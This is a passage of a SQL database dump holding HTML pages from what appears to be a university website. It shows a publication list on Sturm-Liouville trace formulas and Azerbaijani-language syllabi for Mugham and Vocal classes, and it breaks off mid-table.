style=\"background:undefined \"><strong>Vol.5, N4,pp.720-737</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Eigenvalue distribution and trace formula for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Ukranian journal of Mathematics(Science citation index expanded)</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Vol.62, N7,pp.867-877</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Identity for eigenvalues for operator Sturm-Liouville equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>AslanovK.M.</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>pp.48-50</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Trace formula for fourth order diff.operator equation</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>thesis</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Asymptotics of eigenvalues and trace formula for one singular problem</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Analysis of Pure and Applied Mathematics(Zentralblat indexing, Berlin)</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p style=\"background:undefined \"><strong>Formula for second regularized trace of one Sturm-Liouville problem</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>article</strong></p></td><td width=\"84\"><p style=\"background:undefined \"><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p style=\"background:undefined \"><strong>Journal of Mathematics and Statistics(hacettepe University),Science citation index expanded)</strong><strong></strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr></tbody></table></div><br></div>'),(1230,759,'en','Syllabi','Syllabi',''),(1231,759,'az','Syllabus','Syllabus','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong>Xəzər Universiteti Musiqi və İncəsənət departamenti</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>“Muğam və xalq mahnıları” Sinifi</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong><strong>Muğam fənnindən&nbsp;<span style=\"color:#800000\">Syllabus</span></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Müəllim</span>:&nbsp;</strong><span style=\"color:#800000\">Arif Babayev</span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Semestr</span>:&nbsp;</strong>II semester<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Kredit</span>:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Final</span>:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Midterm</span>:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Aktivlik</span>:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3</strong>0 bal</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Davamiyyət</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması(xəstəlik,ailə vəziyyəti və s.)haqqında məlumatı fakultədekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">İmtahan qaydaları</span></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Fənni bitirmək qaydaları</span></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><span style=\"color:#800000\">Dərs proqramı</span></strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"621\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;float:left;border:1px solid #000\"><tbody><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">N</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Tarix</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mövzu vətapşırıq</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">saat</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">18.09.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Muğam Haqqında geniş məlumat</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">21.09.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Rast muğamı</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">3</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">25.09.12.</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ritmik muğamlar lad muğamlar</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">28.09.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Qəzəllər. Ə.Vahid, H.İsaxanlı</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">5</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">02.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ə.Mahir , M.Füzuli</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">6</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">05.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Famil Mehdi Qəzəllər</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">7</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">09.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ü.Hacıbəylinin həyat və yaradıcılığı</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">8</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">12.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ü.Hacıbəylinin operaları</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">9</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">16.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Xalq&nbsp; mahnıları.Segah. Dilkəş, Bayatı-şiraz</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">10</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">19.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Tar,Kamança,Qaval haqqında məlumat</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">11</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">23.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Aralıq imtahan</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">12</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">26.10.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Rast muğamını çalıb göstərmək,Qəzəlləri təkrar etmək</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">13</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">30.10.12.</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Xalq mahnıları,lay-lay,Bəh-bəh,Aşiqəm kimə yalvarım,Şuşanın dağları,Dilbərim,budağa bax,Sarı gəlin,Aman ovçu,Çoban qızı,Külək mahnılarını oxuyub göstərmək</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">14</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">02.11.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ritmik muğamlar,lad muğamlarının və Rast muğamlarının şöbələri.</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">15</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">06.11.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Xalq mahnıları</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr><tr><td width=\"35\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">16</p></td><td width=\"98\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">09.11.12</p></td><td width=\"441\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Bütün materialları təkrar etmək.</p></td><td width=\"47\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">45</p></td></tr></tbody></table><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong style=\"color:#800000\">Kursa giriş &nbsp; &nbsp;&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Muğamın tarixi çox qədimdir.Şərq musiqisinin möhtəşəm sənət abidəsi olan muğamın yaranmasinialimlər hələ keçən minilliyə, islamaqədərki dövrə aid edirlər. Onun kökənlərini zərdüştlüklə bağlayırlar. Muğam sözünün mənası da Allah tərəfindən göndərilənmusiqi kimi izah olunmuşdur. Muğamın İlahinin qüdrətilə insanların ruhunu təmizləməsi, saflaşdırması fikri də söylənilir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Musiqi mədəniyyəti inkişaf etdikcə isə yeni forma və janrlar meydana gəlmişdir.Muğamın bir janr kimi formalaşması XII-XIII əsrlərlə “Müsəlman Renessansı” dövrünə aiddir.Bu dövrdə məhz poeziyanın yüksəlişi muğamın da inkişafına təkan verdi.Şərq poeziyasının ən mükəmməl seir forması olan Qəzəl ərəb dilinin xüsusiyətləri ilə sıx bağlı olduğuna görə, qəzəllər əsasında oxunan muğam melodiyalarının&nbsp; quruluşunda əruz vəzni böyük rol oynayır. Məhz bu dövrdə yaranmış muğamlar ərəb-fars mənşəli adları qəbul etmiş və ənənəvi olaraq,bu gündə saxlanılmışdır.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Azərbaycan musiqi mədəniyyətinin ayrılmaz tərkib hissəsi sayılan xalq mahnıları və muğamların yaranmasının tarixi geniş şəkildə tələbələrə açıqlanır.Milli musiqinin tonallıq və lad etibarı ilə 7 əsas muğamları(Rast, Şur, Çahargah, Bayatı-Şiraz, Segah, Humayun, Şüştər) ilə əyani tanışlıq, onların dramaturji, rəngarəng, və bədii-estetik&nbsp;&nbsp; dəyərlərinə yiyələnməsi nəzərdə tutulur.Ritmik muğamlar və əsas muğamlardan törəyən muğamlar haqqında genş məlumat verilir, muğamların ifası zamanı müşaiyətin(tar və kamança) rolu və əhəmiyyəti barədə bunun əsasında böyük bəstəkar Üz.Hacıbəylinin leyli və məcnun muğam operalar barədə geniş məlumat verilir.Tələbələr klassik qəzəl şairlərinin yaradıcılığı haqqında ətraflı məlumat almalıdırlar.İmtahanlar muğamların tanınması və quruluşu haqqında haırlanan testlər üsulu ilə keçirilir. &nbsp;&nbsp;</p></div><br></div>'),(1232,760,'az','Sillabuslar','Sillabuslar','<div><br></div><div> <div style=\"font-size:medium\"><div style=\"font-family:\'times new roman\', times, serif;background:undefined \"><div style=\"background:undefined \"><p style=\"background:undefined \"><strong>Xəzər Universiteti Musiqi və İncəsənət departamenti</strong></p><p style=\"background:undefined \"><strong>“Vokal” Sinifi</strong></p><p style=\"background:undefined \"><strong>Vokal fənnindən Syllabus</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Müəllim:&nbsp;</strong>Anar Hüseynli<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Telefon: &nbsp;</strong>050&nbsp;321 10 22<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Semestr :&nbsp;Fall 2014</strong></p><p style=\"background:undefined \"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Davamiyyət :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;</strong>20 bal</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Davamiyyət</strong></p><p style=\"background:undefined \">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması(xəstəlik,ailə vəziyyəti və s.)haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>İmtahan qaydaları</strong></p><p style=\"background:undefined \">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"background:undefined \">Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Vokal Kursuna Giriş</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Musiqi, sözün əsl mənasında böyük və qüdrətli varlıqdır. Onun imkan dairəsi inanılmaz dərəcədə genişdir. Bir çox musiqişünaslar musiqini belə xarakterizə etmişlər.Musiqi həyat həqiqətləri bədii səs vasitəsilə obrazlı şəkildə təsvir edən və insan psixikasına aktiv təsir göstərən incəsənət növüdür.İnsanların emosional vəziyyətini konkret inandırıcı əks etdirən bu sənət bəşəriyyət tarixində böyük ictimai tərbiyəvi rol oynmamışdır.Bu tərif, musiqi haqqında, onun qüdrətli bir sənət olmasına dair konkret bir fikir formalaşdırır.</p><p style=\"background:undefined \">Musiqi insanın həm beyninin. Həm də könlünün dostudur.Musiqi bəşər aləmində mənəvi islahatlar&nbsp; və bu yöndə çox&nbsp; böyük dəyişiklər aparmaq qüdrətinə malik bir elmdir.Onun elmliyi insanların nəinki mənəviyyatının, əxlaqının, zövqünün,idrakının inkişafında aparıcı rol oynamasındadır,hətta bu keyfiyyətlərən yararlanaraq&nbsp; həyatın digər sahələrində insanlara yüksək nailiiyətlər bəxş etmək,habelə xalqın həyat tərzinin tərəqqisinə uğur gətirmək iqtidarında olmasındadır.Elə bu səbədən tələbələrin vokal&nbsp; klassik opera,tədrisi vacib olan şərtlərdəndir.Kurs özündə&nbsp; klassik opera.operetto, bəstəkar mahnıları klassik estrada, xalq mahnılarını cəmləşdirir. Sənətin&nbsp; tarxi ilə yaxından tanış edərək, tələbələrdə dünya və milli musiqisinin ən gözəl zəmilərində yüksək zövq, dəhnə mədəniyyəti&nbsp; və professional duyum tərbiyə edir.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Dərs proqramı</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"621\"><tbody><tr><td width=\"35\"><p style=\"background:undefined \">N</p></td><td width=\"98\"><p style=\"background:undefined \">Tarix</p></td><td width=\"441\"><p style=\"background:undefined \">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mövzu və tapşırıq</p></td><td width=\"47\"><p style=\"background:undefined \">saat</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">1</p></td><td width=\"98\"><p style=\"background:undefined \">18.09.12</p></td><td width=\"441\"><p style=\"background:undefined \">Səs üzrə işləmə</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">2</p></td><td width=\"98\"><p style=\"background:undefined \">21.09.12</p></td><td width=\"441\"><p style=\"background:undefined \">Nəfəs genişlənmə ilə bağlı məşqələlər</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">3</p></td><td width=\"98\"><p style=\"background:undefined \">25.09.12.</p></td><td width=\"441\"><p style=\"background:undefined \">Səs məşğələri (müxtəlif intervallarla)</p></td><td width=\"47\"><p 